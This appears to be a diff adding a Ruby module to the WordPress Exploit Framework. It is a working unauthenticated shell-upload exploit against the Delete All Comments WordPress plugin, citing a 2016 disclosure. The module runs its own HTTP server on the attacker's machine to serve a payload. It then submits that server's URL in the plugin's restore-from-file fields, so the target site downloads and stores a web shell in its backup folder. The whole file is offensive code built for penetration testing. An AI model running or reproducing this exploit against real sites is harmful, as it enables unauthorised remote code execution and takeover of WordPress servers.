|
| 1 | +class Wpxf::Exploit::DeleteAllCommentsShellUpload < Wpxf::Module |
| 2 | + include Wpxf::WordPress::ShellUpload |
| 3 | + include Wpxf::Net::HttpServer |
| 4 | + |
| 5 | + def initialize |
| 6 | + super |
| 7 | + |
| 8 | + update_info( |
| 9 | + name: 'Delete All Comments Unauthenticated Shell Upload', |
| 10 | + author: [ |
| 11 | + 'NinTechNet', # Discovery and disclosure |
| 12 | + 'Rob Carr <rob[at]rastating.com>' # WPXF module |
| 13 | + ], |
| 14 | + references: [ |
| 15 | + ['WPVDB', '8694'], |
| 16 | + ['URL', 'http://blog.nintechnet.com/arbitrary-file-upload-vulnerability-in-wordpress-delete-all-comments-plugin/'] |
| 17 | + ], |
| 18 | + date: 'Dec 10 2016' |
| 19 | + ) |
| 20 | + |
| 21 | + register_options([ |
| 22 | + StringOption.new( |
| 23 | + name: 'http_server_host', |
| 24 | + desc: 'The external address of the host running this module', |
| 25 | + required: true |
| 26 | + ) |
| 27 | + ]) |
| 28 | + end |
| 29 | + |
| 30 | + def check |
| 31 | + check_plugin_version_from_readme('delete-all-comments') |
| 32 | + end |
| 33 | + |
| 34 | + def uploader_url |
| 35 | + normalize_uri(wordpress_url_plugins, 'delete-all-comments', 'delete-all-comments.php') |
| 36 | + end |
| 37 | + |
| 38 | + def download_url |
| 39 | + "http://#{datastore['http_server_host']}:#{http_server_bind_port}/#{Utility::Text.rand_alpha(8)}/#{payload_name}" |
| 40 | + end |
| 41 | + |
| 42 | + def payload_body_builder |
| 43 | + builder = Utility::BodyBuilder.new |
| 44 | + builder.add_field('restorefromfileURL', download_url) |
| 45 | + builder.add_field('restorefromfileNAME', payload_name) |
| 46 | + builder |
| 47 | + end |
| 48 | + |
| 49 | + def uploaded_payload_location |
| 50 | + normalize_uri(wordpress_url_plugins, 'delete-all-comments', 'backup', payload_name) |
| 51 | + end |
| 52 | + |
| 53 | + def on_http_request(_path, _params, _headers) |
| 54 | + payload.encoded |
| 55 | + end |
| 56 | + |
| 57 | + def run |
| 58 | + start_http_server(true) |
| 59 | + success = super |
| 60 | + stop_http_server |
| 61 | + success |
| 62 | + end |
| 63 | +end |
0 commit comments